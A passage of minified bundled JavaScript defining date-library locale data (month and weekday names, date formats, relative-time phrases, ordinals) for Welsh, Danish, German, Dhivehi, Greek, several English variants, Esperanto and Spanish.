ҫул"},dayOfMonthOrdinalParse:/\d{1,2}-мӗш/,ordinal:"%d-мӗш",week:{dow:1,doy:7}})}(n(381))},7373:function(e,t,n){!function(e){"use strict";e.defineLocale("cy",{months:"Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"),monthsShort:"Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"),weekdays:"Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"),weekdaysShort:"Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"),weekdaysMin:"Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Heddiw am] LT",nextDay:"[Yfory am] LT",nextWeek:"dddd [am] LT",lastDay:"[Ddoe am] LT",lastWeek:"dddd [diwethaf am] LT",sameElse:"L"},relativeTime:{future:"mewn %s",past:"%s yn ôl",s:"ychydig eiliadau",ss:"%d eiliad",m:"munud",mm:"%d munud",h:"awr",hh:"%d awr",d:"diwrnod",dd:"%d diwrnod",M:"mis",MM:"%d mis",y:"blwyddyn",yy:"%d flynedd"},dayOfMonthOrdinalParse:/\d{1,2}(fed|ain|af|il|ydd|ed|eg)/,ordinal:function(e){var t="";return e>20?t=40===e||50===e||60===e||80===e||100===e?"fed":"ain":e>0&&(t=["","af","il","ydd","ydd","ed","ed","ed","fed","fed","fed","eg","fed","eg","eg","fed","eg","eg","fed","eg","fed"][e]),e+t},week:{dow:1,doy:4}})}(n(381))},4780:function(e,t,n){!function(e){"use strict";e.defineLocale("da",{months:"januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"søn_man_tir_ons_tor_fre_lør".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd [d.] D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"på dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[i] dddd[s kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"få sekunder",ss:"%d sekunder",m:"et minut",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dage",M:"en måned",MM:"%d måneder",y:"et år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},217:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de-at",{months:"Jänner_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jän._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},894:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},9740:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?i[n][0]:i[n][1]}e.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},5300:function(e,t,n){!function(e){"use strict";var t=["ޖެނުއަރީ","ފެބްރުއަރީ","މާރިޗު","އޭޕްރީލު","މޭ","ޖޫން","ޖުލައި","އޯގަސްޓު","ސެޕްޓެމްބަރު","އޮކްޓޯބަރު","ނޮވެމްބަރު","ޑިސެމްބަރު"],n=["އާދިއްތަ","ހޯމަ","އަންގާރަ","ބުދަ","ބުރާސްފަތި","ހުކުރު","ހޮނިހިރު"];e.defineLocale("dv",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:"އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/M/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/މކ|މފ/,isPM:function(e){return"މފ"===e},meridiem:function(e,t,n){return e<12?"މކ":"މފ"},calendar:{sameDay:"[މިއަދު] LT",nextDay:"[މާދަމާ] LT",nextWeek:"dddd LT",lastDay:"[އިއްޔެ] LT",lastWeek:"[ފާއިތުވި] dddd LT",sameElse:"L"},relativeTime:{future:"ތެރޭގައި %s",past:"ކުރިން %s",s:"ސިކުންތުކޮޅެއް",ss:"d% ސިކުންތު",m:"މިނިޓެއް",mm:"މިނިޓު %d",h:"ގަޑިއިރެއް",hh:"ގަޑިއިރު %d",d:"ދުވަހެއް",dd:"ދުވަސް %d",M:"މަހެއް",MM:"މަސް %d",y:"އަހަރެއް",yy:"އަހަރު %d"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:7,doy:12}})}(n(381))},837:function(e,t,n){!function(e){"use strict";function t(e){return"undefined"!=typeof Function&&e instanceof Function||"[object Function]"===Object.prototype.toString.call(e)}e.defineLocale("el",{monthsNominativeEl:"Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"),monthsGenitiveEl:"Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"),months:function(e,t){return e?"string"==typeof t&&/D/.test(t.substring(0,t.indexOf("MMMM")))?this._monthsGenitiveEl[e.month()]:this._monthsNominativeEl[e.month()]:this._monthsNominativeEl},monthsShort:"Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"),weekdays:"Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"),weekdaysShort:"Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"),weekdaysMin:"Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"),meridiem:function(e,t,n){return e>11?n?"μμ":"ΜΜ":n?"πμ":"ΠΜ"},isPM:function(e){return"μ"===(e+"").toLowerCase()[0]},meridiemParse:/[ΠΜ]\.?Μ?\.?/i,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendarEl:{sameDay:"[Σήμερα {}] LT",nextDay:"[Αύριο {}] LT",nextWeek:"dddd [{}] LT",lastDay:"[Χθες {}] LT",lastWeek:function(){switch(this.day()){case 6:return"[το προηγούμενο] dddd [{}] LT";default:return"[την προηγούμενη] dddd [{}] LT"}},sameElse:"L"},calendar:function(e,n){var r=this._calendarEl[e],i=n&&n.hours();return t(r)&&(r=r.apply(n)),r.replace("{}",i%12==1?"στη":"στις")},relativeTime:{future:"σε %s",past:"%s πριν",s:"λίγα δευτερόλεπτα",ss:"%d δευτερόλεπτα",m:"ένα λεπτό",mm:"%d λεπτά",h:"μία ώρα",hh:"%d ώρες",d:"μία μέρα",dd:"%d μέρες",M:"ένας μήνας",MM:"%d μήνες",y:"ένας χρόνος",yy:"%d χρόνια"},dayOfMonthOrdinalParse:/\d{1,2}η/,ordinal:"%dη",week:{dow:1,doy:4}})}(n(381))},8348:function(e,t,n){!function(e){"use strict";e.defineLocale("en-au",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:4}})}(n(381))},7925:function(e,t,n){!function(e){"use strict";e.defineLocale("en-ca",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"YYYY-MM-DD",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n(381))},2243:function(e,t,n){!function(e){"use strict";e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},6436:function(e,t,n){!function(e){"use strict";e.defineLocale("en-ie",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},7207:function(e,t,n){!function(e){"use strict";e.defineLocale("en-il",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n(381))},4175:function(e,t,n){!function(e){"use strict";e.defineLocale("en-in",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:6}})}(n(381))},6319:function(e,t,n){!function(e){"use strict";e.defineLocale("en-nz",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},1662:function(e,t,n){!function(e){"use strict";e.defineLocale("en-sg",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n(381))},2915:function(e,t,n){!function(e){"use strict";e.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_aŭg_sept_okt_nov_dec".split("_"),weekdays:"dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_ĵa_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(e){return"p"===e.charAt(0).toLowerCase()},meridiem:function(e,t,n){return e>11?n?"p.t.m.":"P.T.M.":n?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodiaŭ je] LT",nextDay:"[Morgaŭ je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hieraŭ je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"antaŭ %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(n(381))},5251:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-do",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},6112:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-mx",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] 